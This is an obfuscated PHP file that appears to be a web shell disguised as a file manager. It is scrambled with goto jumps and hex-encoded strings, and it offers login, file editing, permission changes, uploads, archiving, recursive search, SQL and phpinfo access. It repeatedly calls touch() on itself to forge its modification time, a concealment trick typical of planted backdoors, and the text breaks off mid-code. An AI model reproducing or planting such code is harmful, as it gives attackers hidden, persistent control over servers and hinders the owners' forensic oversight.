YvIvL: goto S8FE3; BT5F7: eIsGL: goto mtqFz; u7eYj: UbQt1: goto BDpqO; CPPXc: $R1Ro_ = YFaCF($jTEOW) || $I3Jc9 ? '' : wJ_30("\x7a\151\160", $g6Xdn, JNgij("\x43\157\x6d\160\162\145\163\x73") . "\46\156\142\x73\160\x3b\172\x69\160", jNgij("\101\x72\143\150\151\166\x69\x6e\x67") . "\40" . $jTEOW); goto su3aq; IMuYy: qJOO_: goto b7r_s; r9hcF: goto UbQt1; goto g281X; zD_J0: goto YvIvL; goto oHX5z; OaJhL: $yfYQh[7] = mxis7($g6Xdn); goto wRA_4; NsIqk: goto Cz5uG; goto hCwuo; LzGaG: $JDGT6 = ''; goto Rndpw; uNVGp: goto hwUmT; goto jEELk; g4N2U: echo "\x3c\x2f\164\144\76\15\xa\40\40\40\40\x3c\164\144\x20\163\x74\171\x6c\145\x3d\x22\x77\150\x69\x74\x65\x2d\x73\x70\x61\x63\145\x3a\x6e\x6f\x77\162\x61\x70\42\76"; goto c9_cK; Tt5aI: goto Uc_7i; goto z1Jip; tfTBB: pxUEU: goto BCb2c; rSfJk: $g6Xdn = $VLMCB . $jTEOW; goto h_wd6; tsxEL: goto ZrkK_; goto wwYrj; nOtGO: goto Je4dn; goto oVIsX; G6O6a: goto kG3_5; goto hL3kP; GAEuL: echo "\74\57\x74\x64\x3e\xd\12\x20\x20\x20\x20\74\x74\x64\x3e"; goto pPWH_; fxkgw: $mbeto = "\74\x61\40\150\x72\145\x66\75\42" . $Ga3rH . "\x26\x70\x61\x74\150\x3d" . $VLMCB . $jTEOW . "\x22\40\164\151\x74\154\145\75\x22" . jngij("\x53\x68\x6f\167") . "\40" . $jTEOW . "\x22\x3e\x3c\x73\160\x61\x6e\x20\x63\x6c\x61\x73\x73\x3d\x22\146\157\154\144\x65\162\x22\76\46\x6e\142\163\160\x3b\x26\x6e\142\x73\160\x3b\x26\x6e\142\x73\x70\x3b\46\x6e\x62\x73\160\x3b\74\57\x73\x70\141\156\76\40" . $jTEOW . "\x3c\57\x61\76"; goto ejGKF; GnU0g: goto tWtwf; goto hy5W5; nx6WV: goto TEQi7; goto Q_4UW; yJsfr: echo "\x22\76\40\15\12\xd\12\40\x20\x20\40\x3c\164\144\76"; goto vG_kD; h_wd6: goto XXygV; goto cv3QF; b7r_s: $yfYQh[7] = ''; goto G6O6a; OzY67: echo "\74\x2f\x74\x64\76\15\12\xd\xa\x20\40\x20\40\x3c\164\144\x3e"; goto CEgD1; wFRDS: echo $tHs02; goto GnU0g; hFUHQ: $BKCkJ = YfacF($jTEOW) || $I3Jc9 ? '' : wJ_30("\x67\172", $g6Xdn, JNGij("\103\157\155\x70\162\145\163\163") . "\x26\156\x62\x73\x70\73\x2e\164\141\162\x2e\x67\172", JngIJ("\101\162\143\150\151\x76\151\156\x67") . "\x20" . $jTEOW); goto uF8SF; hCwuo: zu_AV: goto cvvq_; QsqgZ: $Z__bG = $jTEOW == "\56" || $jTEOW == "\x2e\56" ? '' : "\74\x61\40\150\x72\x65\x66\75\42" . $Ga3rH . "\x26\162\x69\147\150\164\163\75" . $jTEOW . "\46\160\141\x74\x68\75" . $VLMCB . "\42\40\164\151\x74\x6c\145\x3d\42" . JngiJ("\x52\151\147\150\x74\163") . "\x20" . $jTEOW . "\x22\76" . @Oly7E($g6Xdn) . "\x3c\x2f\141\x3e"; goto BcFkc; CEgD1: goto MHewy; goto NBVVi; z1Jip: OiaM2: goto GAEuL; JW8ud: R702a: goto wFRDS; KiQA8: goto m7hPE; goto LjukG; zLZsQ: JG1OG: goto LzGaG; odYw0: goto Qpc3v; goto zoD1b; my3n3: XXygV: goto s40Hu; G2In5: if (!empty($C0tA4["\163\x68\157\167\137\144\151\x72\x5f\x73\x69\x7a\145"]) && !yfACF($jTEOW)) { goto rZ0oc; } goto F5bPD; NdIPt: ZrkK_: goto Cbepo; bh5kX: W42zO: goto nx6WV; Cbepo: JsdQn: goto LGIcN; f1DPU: wvBs0: goto JFxRb; hNupP: v43hA: goto NPywL; TH83c: g02At: goto g4N2U; mTCsB: $mbeto = $C0tA4["\x73\x68\157\167\x5f\x69\x6d\147"] && @getimagesize($g6Xdn) ? "\x3c\x61\40\x74\x61\162\x67\145\x74\75\x22\x5f\x62\154\141\x6e\x6b\x22\x20\157\x6e\x63\154\x69\143\x6b\x3d\x22\166\141\x72\40\154\145\x66\x74\x6f\40\75\40\x73\143\x72\x65\x65\x6e\56\141\166\x61\x69\x6c\x57\x69\x64\164\150\x2f\x32\x2d\x33\62\x30\x3b\x77\x69\156\144\x6f\x77\56\157\160\145\156\x28\47" . ZhmWP($g6Xdn) . "\47\54\x27\160\x6f\160\x75\160\x27\x2c\x27\x77\x69\x64\164\x68\75\x36\64\x30\54\150\x65\x69\x67\x68\164\x3d\x34\x38\x30\x2c\154\x65\x66\x74\75\47\x20\53\40\154\145\x66\x74\157\40\x2b\x20\47\x2c\163\143\x72\x6f\154\154\142\x61\x72\x73\x3d\x79\x65\163\x2c\x74\x6f\157\154\142\x61\x72\75\156\x6f\x2c\154\x6f\x63\x61\164\x69\157\156\x3d\x6e\157\x2c\144\151\x72\x65\143\164\x6f\x72\x69\145\163\x3d\156\157\x2c\x73\x74\x61\164\165\163\75\156\x6f\x27\51\x3b\x72\145\164\165\x72\x6e\40\146\x61\x6c\163\x65\x3b\x22\40\150\x72\x65\146\75\42" . zHmWp($g6Xdn) . "\42\76\x3c\163\160\141\156\x20\x63\x6c\x61\163\163\75\42\151\x6d\x67\42\x3e\46\156\x62\x73\160\73\x26\156\142\x73\160\x3b\46\x6e\142\163\x70\x3b\x26\x6e\142\163\x70\73\x3c\x2f\x73\x70\141\x6e\76\40" . $jTEOW . "\74\57\141\x3e" : "\74\141\x20\150\162\x65\x66\x3d\x22" . $Ga3rH . "\x26\145\144\151\x74\x3d" . $jTEOW . "\x26\x70\x61\164\x68\x3d" . $VLMCB . "\42\40\x74\x69\x74\x6c\145\x3d\x22" . JnGIJ("\x45\x64\x69\164") . "\x22\76\74\x73\x70\x61\x6e\40\x63\x6c\x61\x73\163\75\x22\x66\x69\x6c\145\x22\x3e\46\156\x62\x73\x70\x3b\x26\x6e\142\x73\160\x3b\x26\156\x62\x73\x70\x3b\x26\156\x62\x73\160\x3b\x3c\57\163\x70\x61\156\76\40" . $jTEOW . "\x3c\x2f\x61\x3e"; goto nSYX9; D_qVm: if (YfaCf($jTEOW)) { goto RkP3E; } goto hDDW7; h7R9O: goto R702a; goto jAr5t; csFw2: if (!@is_dir($g6Xdn)) { goto Q0nIP; } goto dKh9V; oLH7B: goto xCdEe; goto zLZsQ; JFxRb: echo $ugouD; goto FRo8I; zoD1b: xCdEe: goto JkY0K; pPWH_: goto ryW_m; goto qE_Br; jUMKD: pTT5l: goto zWQRG; LjukG: MHewy: goto H9c43; hCcJP: Je4dn: goto uNVGp; xqL4a: sFVDm: goto maiep; P4UwH: FcOSw: goto MShTc; cvvq_: KXPaI: goto uFZBU; maiep: } goto WFUUm; lVDk_: $_COOKIE[$fahGj["\143\157\157\153\x69\x65\137\x6e\x61\x6d\145"]] = $fahGj["\154\x6f\x67\x69\x6e"] . "\174" . md5($fahGj["\x70\141\x73\163\x77\157\162\144"]); goto YEjsT; TJx0Y: TaK95: goto ZDTw6; rWl_Q: goto dZWyt; goto mZQ6v; kDIT4: JbOru: goto KKMBJ; Ct41K: goto I4u35; goto PZvPs; nPvqL: G8xLE: goto LXMDE; ZaENH: yygj5: goto AydOE; rV4cg: Qx_8p: goto uaDt_; HA7o9: echo "\x22\40\145\156\143\x74\x79\x70\x65\x3d\42\155\x75\154\164\x69\160\x61\162\x74\x2f\x66\x6f\x72\x6d\55\144\141\x74\141\x22\x3e\xd\12\xd\xa\x9\11\x20\40\x20\x20\40\x20\40\40\40\x9\74\x69\x6e\x70\165\x74\40\x74\171\x70\145\x3d\x22\x68\151\144\144\145\x6e\x22\40\x6e\x61\155\x65\75\42\160\x61\x74\150\42\40\x76\x61\x6c\165\145\x3d\42"; goto ShTxB; xuRH4: D5GSt: goto bYgFQ; ShASx: echo "\40\174\40\x3c\141\x20\150\162\x65\146\75\x22\77\x70\150\160\151\156\146\157\x3d\x74\x72\x75\x65\42\76\x70\x68\160\151\x6e\x66\157\74\x2f\x61\x3e"; goto V4PvH; s0dl9: goto fXeWw; goto kseNd; dCdO4: goto bTZ9j; goto vaylr; EDthW: if (!empty($F3M0G[1])) { goto Qx6IM; } goto T3wVq; VO3R3: ny84R: goto kA9Po; CIlyO: goto mFzu0; goto l4bBy; ejLp5: echo jNGij("\x44\x61\x74\145"); goto aSQZi; uMVFU: die; goto pUHr2; xiCnE: goto P28L6; goto gbMOz; yYZp0: unlink($wdJBd . "\56\147\172"); goto dwyH6; NHpAs: goto jmbfm; goto dbVIs; aFjtn: mFzu0: goto PUKWY; X3Tl5: echo $O10i3; goto el9KG; hX0ul: o5s3T: goto M0Ed5; JKX2I: OGDsG: goto trFyf; oDSXc: aMOxi: goto RFi9H; vSmpM: ZvrN9: goto jDv6o; NU8cR: goto ieIop; goto M4_Eb; TWFhF: echo "\42\40\163\164\x79\x6c\x65\x3d\x22\x63\165\162\x73\157\x72\72\40\160\x6f\151\156\164\145\x72\73\x22\x20\x6f\x6e\143\x6c\151\x63\x6b\x3d\42\144\x6f\x63\165\155\x65\x6e\x74\x2e\147\x65\x74\105\154\145\155\x65\156\164\x42\171\x49\x64\x28\x27\x75\x70\154\x6f\141\144\x5f\150\x69\x64\144\x65\x6e\x27\51\x2e\x63\154\x69\x63\153\50\51\73\42\x20\x2f\x3e\xd\xa\11\11\40\40\x20\x20\40\40\x20\40\40\x9\74\151\156\160\165\164\x20\x74\x79\x70\145\x3d\x22\x73\165\x62\155\151\164\42\40\156\141\x6d\145\x3d\x22\164\145\163\164\42\x20\x76\x61\x6c\x75\x65\75\x22"; goto xZ_k2; r_Y9L: touch(__FILE__, $A1eqp); goto cUrp0; X1HRS: goto SA9F4; goto kb2gi; Mm1z0: echo "\x22\x20\57\76\xd\xa\15\xa\x9\x9\40\40\40\x20\x20\x20\x20\40\x20\x9\11\x20\40\x20\x20\40\x20\40\x20\x20\x3c\151\156\160\165\x74\x20\164\171\x70\145\75\42\x74\145\x78\x74\42\40\156\141\155\145\x3d\42\x64\151\162\156\x61\x6d\145\x22\x20\163\151\172\x65\75\42\x31\x35\42\x3e\15\xa\x20\40\x20\x20\40\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\xd\xa\x9\x9\40\x20\40\x20\x20\40\x20\40\40\11\x9\x20\40\40\40\40\x20\x20\40\40\x3c\151\x6e\160\165\164\40\x74\171\160\145\x3d\42\163\165\142\x6d\151\164\x22\40\156\x61\x6d\145\75\x22\x6d\x6b\x64\x69\x72\x22\x20\166\141\154\x75\145\x3d\x22"; goto tYwVU; fvRrr: echo "\15\12\x3c\164\162\76\15\12\xd\12\x9\74\x74\144\40\x63\157\x6c\163\160\141\x6e\75\x22\x32\42\40\143\x6c\141\163\x73\75\x22\x72\157\167\62\x22\76"; goto KUUSa; KxoZA: goto ywlxf; goto lY3Aq; gTSPV: echo "\x22\x3e\xd\12\40\x20\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\40\x20\x20\xd\12\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40"; goto Lw3KQ; bIlsm: goto IIkOW; goto pCe5A; sySgI: d8tmK: goto qT_DI; MUo7q: goto nuruf; goto mP42K; Px0wh: DcA3F: goto p4Shl; tt4_l: goto SGVtz; goto VkB5g; dj4cz: B3rcV: goto ZUZ9X; qaG3n: $Vd7NW = json_decode($zxGC6, true); goto qZnX0; O_15v: KR1Yl: goto NHk1p; BFRMF: goto Pp3dB; goto tmogU; ti0QB: eCH9r: goto RK6NQ; OIxos: goto o9jqk; goto UYxpV; xIdoB: goto CUDas; goto En3B1; ArrBw: e1Nbi: goto ejLDN; ZQDdX: goto xw5SU; goto F3kYo; ch9KU: echo Jngij("\122\151\147\150\164\x73"); goto BA6Kk; ONkLy: goto rCvWk; goto GEyOi; ZdO_K: goto oIZvf; goto gKDrv; EISFQ: c1mhX: goto CBzlA; gKDrv: bJvD_: goto dA11O; maOPx: K010L: goto DU6OX; K2iah: goto ZODm0; goto aJsO8; Zhcy7: goto LMUb1; goto kVnHZ; zVGQn: ykbvH: goto gi4gl; nbTmz: YIOTm: goto NWv8_; PVUzb: goto rSnn7; goto fmDHq; SxzOh: unlink($wdJBd); goto a6l5b; ImVMy: goto a0I7w; goto oj9YX; eX4gn: goto ZeFzX; goto poWtP; RFi9H: goto g1bKt; goto P9IsQ; TCI4B: if (!isset($_POST["\x66\x6d\137\x6c\157\147\151\156"])) { goto A_9IP; } goto Hx0xk; FB6m_: egaWh: goto XuMf2; LCCs0: goto aAith; goto maOPx; vfKm6: pjI88: goto FWILx; Rac_Z: n7diu: goto e0q1o; gtDuN: goto y_qS4; goto h0oF5; fNMri: natsort($VDDS6); goto YLWet; L8yOa: unlink($wdJBd); goto Z0F1c; tCai4: jWKz2: goto dy1sf; uBOSe: echo "\11\x9\x20\40\40\x20\40\40\40\40\x20\74\x2f\x74\144\x3e\xd\xa\11\x9\40\x20\40\40\x20\x20\x20\x20\40\x3c\x74\144\76\xd\12\xd\12\11\11\x20\40\x20\x20\40\40\40\x20\x20"; goto ajeLJ; CgUWX: BBlxE: goto HnilP; fTK9E: Y4O10: goto ZBHKC; e7OaW: echo "\x3c\57\x74\150\x3e\15\12\15\12\74\57\164\x72\x3e\xd\xa\74\164\x72\x3e\15\12\xd\12\40\x20\40\x20\74\164\x64\x20\x63\154\x61\x73\163\x3d\x22\x72\157\167\61\x22\x3e\15\12\40\x20\40\40\x20\40\x20\x20"; goto plQWX; D8xas: LMUb1: goto V7v6O; lgJrz: goto ocfIa; goto qwQzH; SlQO0: G6J6s: goto pkQA5; fhehq: if (isset($_POST["\x71\165\x69\x74"])) { goto WuCsR; } goto qHaVn; TZ0bQ: $e2Q0i = basename($GjkCm) . "\56\x74\x61\162"; goto Jmlpf; N3Vi0: Xvaag: goto oXm_C; l5BE5: FomOU: goto VRrS9; A3XyA: $fahGj["\163\x63\x72\151\160\164"] = isset($fahGj["\x73\x63\x72\151\x70\164"]) ? $fahGj["\163\143\x72\x69\x70\x74"] : ''; goto YKYoL; G6AC8: goto hG_tm; goto KeORF; uUDUW: echo "\42\76"; goto FDrfS; p5SUT: lkezR: goto OgxkN; GdLaw: echo Jngij("\x52\145\143\x75\162\x73\x69\x76\x65\x20\x73\145\141\162\x63\150"); goto rZ4m1; kcfJ8: yMqGF: goto b3DNn; v1w5x: goto wntpQ; goto ex_IE; BMisL: goto duZLB; goto BRAYw; fOAvt: goto IjxPf; goto FMQhm; iT4j5: LdvIY: goto aFaec; wlpye: goto tg6ut; goto xFSsj; SjoGH: $O10i3 .= "\x20" . jNgiJ("\120\141\x73\163\x77\x6f\162\144") . "\x3a\x20" . $_POST["\146\x6d\137\x6c\x6f\x67\151\156"]["\x70\141\163\163\x77\x6f\x72\x64"]; goto reZxT; O1qWD: goto Yj_TZ; goto SqNoR; caQEQ: goto n3Uw5; goto NjUn6; jG0ez: ToAp5: goto HTcKP; JB3Bk: WKq8_: goto T0Ash; Eecr7: unlink($wdJBd); goto J6IV5; QXeiS: function Mx8Mg($GXDzR, $u2AEf = '', $E2Mgf = "\x61\x6c\154", $FTOHZ = false) { goto iMBvR; Jlpy_: xgUVp: goto Xdhhg; P4BlX: goto q6w0L; goto iCdz9; ypPn0: natsort($zS4x_); goto BYfkh; mpFoo: if ((empty($E2Mgf) || $E2Mgf == "\x61\x6c\x6c" || $AJblg($GXDzR . "\57" . $g6Xdn)) && (empty($u2AEf) || preg_match($u2AEf, $g6Xdn))) { goto KWrvC; } goto Xmmpv; VyRj9: pV51V: goto MQhYz; gf6U9: $u2AEf = "\x2f\136" . str_replace("\x2a", "\x28\56\52\x29", str_replace("\x2e", "\134\x2e", $u2AEf)) . "\x24\57"; goto amJKt; e5B0M: jTJO1: goto CfjaH; ZbLlc: w2Kvx: goto YOGob; oC4Hr: W1bNU: goto wrWGg; lfFTg: goto DuwPr; goto oC4Hr; Xmmpv: goto AJt7Q; goto ldIBb; ScRxs: T9DtX: goto P4BlX; auTIr: goto SkuwR; goto svOzN; vLbg4: rGMsM: goto oJ0Ug; T6vgZ: goto n5sfw; goto hYpGr; CT7BZ: k3Jzc: goto cxGkF; iCdz9: efamR: goto OF5s4; A6cMk: n5sfw: goto e5B0M; KZiQN: hSjVF: goto fxAGm; zFAsS: goto VZ4Vl; goto mbNIr; IosGB: goto z5bTT; goto BHZ2D; fUqi3: oBR7d: goto auTIr; zmCzg: PBB6k: goto ZkaCr; WzpN2: $AJblg = "\x69\x73\x5f" . $E2Mgf; goto go1qG; FjwmX: if (!empty($u2AEf)) { goto sKY6d; } goto RRZQl; Y2L1d: goto xgUVp; goto zmCzg; VDzGE: if (substr($g6Xdn, 0, 1) != "\56" || $FTOHZ) { goto T9DtX; } goto E3Zal; bhRMP: IQx2x: goto gf6U9; ambom: XwnTI: goto FBTfz; LOMvy: SkuwR: goto VDzGE; rLAUb: Y3sYX: goto ambom; Gh64a: goto jTJO1; goto fUqi3; amJKt: goto UtOWm; goto LOMvy; BHZ2D: DuwPr: goto J53Ul; JwGz0: VZ4Vl: goto WzpN2; tQlS0: $KA1Il = opendir($GXDzR); goto JFSRx; W1FnH: $zS4x_ = $T_aAK = array(); goto I0DeO; I0DeO: goto FjJU2; goto ZbLlc; f3vPS: if (false !== ($g6Xdn = readdir($KA1Il))) { goto oBR7d; } goto Gh64a; ldIBb: KWrvC: goto nKUE5; t8YRa: aHVhx: goto ypPn0; VEqOQ: z5bTT: goto rKCwS; bmDkW: AilbZ: goto tQlS0; go1qG: goto lFG7T; goto jV5oE; CfjaH: goto rGMsM; goto PPiyw; Xdhhg: goto pV51V; goto JwGz0; dF4zC: q6w0L: goto mpFoo; OF5s4: if (!empty($E2Mgf) && $E2Mgf !== "\x61\154\x6c") { goto RQxX5; } goto e2Be8; E3Zal: goto k3Jzc; goto ScRxs; R4wl6: goto IQx2x; goto bmDkW; FBTfz: goto qSv1O; goto vLbg4; S2yII: goto XwnTI; goto T6vgZ; iMBvR: goto uVlfp; goto dF4zC; wrWGg: $zS4x_[] = $g6Xdn; goto zQIyB; BYfkh: goto M30ik; goto dvJC6; e2Be8: goto ATkdd; goto LDX4F; RRZQl: goto hSjVF; goto ts83I; cxGkF: goto NCHnE; goto rLAUb; ts83I: sKY6d: goto R4wl6; mbNIr: FjJU2: goto FjwmX; hYpGr: lFG7T: goto nHjro; ZkaCr: goto AilbZ; goto qwMNi; svOzN: kRdYW: goto CT7BZ; JFSRx: goto Y3sYX; goto MCmLh; YOGob: AJt7Q: goto oYecg; fxAGm: goto efamR; goto t8YRa; LDX4F: RQxX5: goto zFAsS; rKCwS: if (@is_dir($GXDzR)) { goto PBB6k; } goto Y2L1d; PPiyw: UtOWm: goto KZiQN; dvJC6: M30ik: goto Jlpy_; nKUE5: goto W1bNU; goto bhRMP; jV5oE: NCHnE: goto S2yII; oJ0Ug: closedir($KA1Il); goto GT7TD; nHjro: ATkdd: goto IosGB; qwMNi: qSv1O: goto f3vPS; GT7TD: goto aHVhx; goto VyRj9; zQIyB: goto w2Kvx; goto A6cMk; MCmLh: uVlfp: goto W1FnH; MQhYz: return $zS4x_; goto lfFTg; oYecg: goto kRdYW; goto VEqOQ; J53Ul: } goto DRqg8; kCM3O: pH85W: goto Mm1z0; NBZM8: goto nz4Ca; goto ew3WE; cgAlV: d245b: goto TdOu0; SroZ3: echo JnGij("\115\x61\156\x61\147\145"); goto u6vLS; PtngR: echo Jngij("\x48\x65\154\x6c\157"); goto Leik6; VCrgJ: $p9djE = "\x73\161\x6c"; goto FNa4T; nv3f5: xlCNE: goto YGvNN; oh9Vt: goto lqvvp; goto NOsPV; VDK2J: o8BUa: goto zquWn; szHjb: goto N8FlA; goto b68Yd; nXwve: $IZ9dM = isset($_GET["\x75\162\154"]) ? urldecode($_GET["\x75\162\x6c"]) : ''; goto X9Qfh; a1S_T: touch(__FILE__, 1415116371); goto mtk1z; b_Cql: WdmIO: goto moDFQ; pH7nZ: die; goto PVUzb; ShTxB: goto VJT1u; goto EGAgd; AcqFJ: goto xsTCf; goto YJeDx; K19nc: goto QJjMB; goto utA8Z; JuYqO: Dzv6u: goto hnciV; uf5Rb: unset($_COOKIE["\146\x6d\x5f\143\x6f\x6e\x66\151\x67"]); goto UkY1P; U1HYq: echo jNGiJ("\x53\x75\x62\155\151\x74"); goto igSNs; eygwV: wEkDG: goto OBrA0; rkhEF: echo "\x3c\x2f\x74\x64\76\15\12\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\15\12\74\x2f\x74\x72\x3e\15\xa\15\xa"; goto HIdiK; NAykr: hWAvT: goto ywrYY; W5NW3: QcxaF: goto ggInq; LUvFi: pDVu5: goto QrXyV; uHDKz: goto o5s3T; goto OgufA; Y1mcm: tRPT0: goto f7DKT; ropnC: PLNHN: goto gKSjW; sLOz8: if (!empty($F3M0G[1])) { goto YNOF7; } goto CxoIF; SugjH: $b0bjX = str_replace("\x7b\x22" . $F3M0G[1] . "\42\175", $Wvxq6, $lpHQQ); goto bJwn3; kncUO: o9jqk: goto CiNqf; h21kQ: goto nepN2; goto tZIbU; S0kW5: VovkW: goto Z02SB; GAQlC: goto CS_Mp; goto bzb4Z; V6RR4: $J8r10 = true; goto TQII1; Lilnh: die; goto K4McC; pMKmc: Xa1Pu: goto hj8yD; bAYQt: if (empty($_POST[$jICw7 . "\137\156\145\x77\137\156\x61\x6d\x65"])) { goto psYxW; } goto TlsWu; CVBkW: Vy87P: goto VrcDC; OsQcY: Alajk: goto qM4ig; saLt8: E2cF6: goto KiRmO; a2GIp: L_qsS: goto saMxe; JV0Y6: goto HiuJK; goto NfsMN; pB7HQ: goto h9SMZ; goto BX7w2; gFuxg: goto oAGTV; goto xZ0YZ; bYgFQ: IvLjp: goto wnuLj; c9yM8: goto Icnes; goto hVkK5; RL2Nt: goto qWyyi; goto Y1mcm; ewyth: goto mkuly; goto g8qyZ; nCjiJ: goto d245b; goto Djz1H; M_q9N: goto k6bwm; goto AijeQ; xGRF2: goto YDZGB; goto V2csy; ddeN7: vf9l0: goto HutFM; GgdKQ: goto zJHuz; goto amlDb; bXdLl: goto NWGYy; goto aGoCr; m04Co: goto gO1c6; goto BgVGs; YCNGW: ncqSF: goto bYlkt; PV5hm: set_time_limit(0); goto iWGX1; cUrp0: goto d8tmK; goto I8MJU; nObmq: goto M0mmw; goto blX0L; NkBo6: IqbNH: goto Yos3k; oDy9I: echo "\x22\x3e\xd\xa\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\15\12\11\x9\x20\40\x20\x20\x20\x20\40\x20\x20\74\151\156\160\x75\164\40\164\x79\x70\145\75\x22\163\165\x62\155\151\164\42\40\166\x61\x6c\165\145\x3d\42"; goto DLGGF; k01kt: goto YYvJ2; goto tvH70; UQGGx: function OMNrf($iGexB, $Iuqro) { global $C0tA4; return "\74\164\x72\76\74\x74\x64\x20\143\154\141\163\163\75\x22\162\157\x77\61\x22\x3e\74\x69\156\x70\x75\x74\x20\x69\144\x3d\42\x66\155\137\x63\157\x6e\146\x69\147\x5f" . $Iuqro . "\42\x20\x6e\x61\155\145\x3d\42\146\155\137\x63\x6f\x6e\x66\151\147\133" . $Iuqro . "\x5d\42\x20\166\x61\154\165\145\x3d\x22\x31\42\40" . (empty($C0tA4[$Iuqro]) ? '' : "\143\x68\x65\x63\153\145\144\75\x22\164\x72\165\145\42") . "\x20\x74\171\160\145\x3d\x22\143\x68\145\143\153\142\157\x78\x22\76\x3c\57\x74\144\76\74\164\x64\x20\x63\154\x61\163\163\75\x22\162\157\167\x32\x20\x77\x68\157\x6c\145\42\x3e\74\154\x61\x62\x65\154\x20\146\157\x72\x3d\x22\146\x6d\137\x63\x6f\x6e\x66\x69\x67\x5f" . $Iuqro . "\42\76" . $iGexB . "\x3c\x2f\x74\144\76\x3c\57\x74\x72\x3e"; } goto j6Sol; sZtST: echo "\x22\x20\x6e\x61\155\145\75\x22"; goto aGg3m; I2vEq: pDEBx: goto zkTaS; GT91K: I4u35: goto juRQ0; Hsply: goto cg6gx; goto NyJcc; hJE5i: SKTAn: goto CrDSp; NfsMN: CuWK0: goto hkWuC; J2d2c: goto PvEjz; goto soQ66; a38tb: goto E2cF6; goto rwwHa; KlwiA: XMTuX: goto QQgGV; B0d4z: Pu5WJ: goto qFmzy; Qk34n: f8Cb7: goto yUltM; j2bcM: if (isset($_GET["\x70\x68\x70\x69\x6e\146\157"])) { goto ykbvH; } goto loHuC; CIeLf: kw2Zx: goto FeBmA; Zbg3g: goto a9ZzR; goto ifn2M; CFG3s: goto qcUqL; goto K3P9B; roBG_: $O10i3 .= JNgIj("\106\x6f\165\156\144\40\x69\x6e\x20\x66\151\x6c\x65\x53\145\164") . "\x20\50" . count($xY82V) . "\x29\x3a\x3c\142\162\x3e"; goto Kjj89; B3kdy: echo "\x22\x3e\xd\xa\xd\xa\x20\x20\40\x20\40\x20\40\x20\74\57\x66\x6f\x72\155\x3e\15\12\xd\xa\40\x20\x20\40\x3c\57\x74\144\76\15\12\15\12\74\57\x74\x72\x3e\xd\xa\74\x2f\164\x61\x62\154\x65\x3e\xd\xa\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\40\40\x20\xd\12"; goto ImReV; oj496: goto RwtD4; goto qo26e; w9DfJ: goto D5kXa; goto G689G; qtObF: $wdJBd = $GjkCm . "\x2e\x74\x61\x72"; goto CR0a_; Brwi4: goto vHq0N; goto c1OGz; jpOYK: LTqqm: goto Pr20J; B9Fgp: goto APGYR; goto NkBo6; MXY9n: bI3pc: goto vLMMw; gbykm: goto VQGWv; goto fhh9q; MQ7Z2: SGVtz: goto WXuuv; z2NsG: if (!empty($O10i3)) { goto grmJF; } goto W4DPf; kFMwn: $A1eqp = filemtime($br2Yn); goto R42gZ; cD9Xq: goto Rd2BS; goto IyVa2; l21eL: goto aJwsi; goto CajNV; P8Fly: goto up3LN; goto eaaGw; O5_6g: goto ccu12; goto fCsTo; P4cq_: if (!isset($_GET["\x66\155\x5f\x73\x65\164\x74\x69\156\147\163"])) { goto Hv0PC; } goto h04Zt; AXVXZ: goto qslf8; goto mm4xG; KFzhm: XCy8o: goto HPFzS; qT_DI: wgugX: goto V24FX; YTj8I: class zkIac { var $Rkrmc = ''; var $jRr_K = 0; var $QdGuP = 0; var $KUpB2 = true; var $p6jLS = array(); var $BCXpT = array(); function __construct() { goto NXXPO; u5GVu: $this->p6jLS = array(); goto YrZX7; wChsT: kTlsH: goto QzjbK; QzjbK: jsZrv: goto wqZf2; kga2h: SZOJE: goto A7dGQ; Pir0L: goto jsZrv; goto uEABO; wqZf2: goto SZOJE; goto BnMIZ; usJko: goto yATu2; goto kga2h; uEABO: quOPH: goto usJko; NXXPO: goto c2dsL; goto wChsT; gczgo: c2dsL: goto A3Y_Y; YrZX7: goto kTlsH; goto gczgo; BnMIZ: yATu2: goto u5GVu; A3Y_Y: if (!isset($this->p6jLS)) { goto quOPH; } goto Pir0L; A7dGQ: } function hXIsy($fQHdO) { goto I08rH; No_UX: goto StOXy; goto pjY3i; JcpI7: goto A_uS7; goto THqnf; GmKBp: KkvyZ: goto EB6Jb; VYk1k: goto ZNz8l; goto Qgp_3; uQuOD: goto IUwfz; goto nh3aH; PbiO7: Emw8O: goto gaRHT; yFxlT: goto mh3pq; goto InJnA; t7YqU: CLniP: goto teOA3; QRZYg: goto H3f2g; goto Skv5w; UetXu: pHnah: goto aK76o; YJbPA: $this->pLDk_(); goto N95uG; gX4U_: goto qqByh; goto oYelb; OQ5ON: goto N2L2m; goto E026C; N95uG: goto u1bWN; goto vUHNk; THqnf: Mr3Fm: goto dHTRk; E_XcT: goto C0CTg; goto ZzGQ2; ZzGQ2: goto FzVcE; goto J_QjC; bNNhg: ZgHAq: goto q1HPj; AoF5l: goto mDtGp; goto ATh9W; kLwua: goto RH4oW; goto KDGHv; HO3bN: goto mfJOH; goto PbiO7; G09Id: goto jdzvA; goto vS20t; sPEzy: goto l4hVu; goto oDG_3; oT4CG: if (!$this->jRr_K) { goto AIP14; } goto mJLxP; ATh9W: C8zar: goto j_GOZ; SqZLL: FlNLJ: goto dRDPg; SBvn1: if (!$this->MsK0e()) { goto VU1CF; } goto pUQMm; O4YP2: SsRYz: goto v4zbF; Typau: W8amY: goto fgE1R; YTPAV: goto yTdgZ; goto Posn4; BdRBr: HUjm8: goto oT4CG; do2mU: goto C8zar; goto hX23l; j_GOZ: return false; goto QRZYg; nn8us: JEJlE: goto BuPaX; aZ28K: goto JEJlE; goto DyEUw; wkRc2: $cOwWF = true; goto Or1by; om1om: EfxXN: goto aNPk1; wnBgs: if (gzeof($Ndwbi)) { goto iZKxp; } goto YTPAV; JWwUg: goto dUl0l; goto x8jN3; dDDsn: wsRPU: goto sm2Vj; Vhqya: goto Mr3Fm; goto rHxY_; vPgCK: goto SgStz; goto VYk1k; vh9G0: goto pHnah; goto DGC3G; l8Gnq: $m122z = pack("\141\65\x31\62", $o8HkJ); goto aZ28K; naU7c: F964E: goto KmQbS; vO_5I: goto xzjDt; goto pBZUt; I08rH: goto bGCDm; goto v4gQX; vUHNk: RH4oW: goto 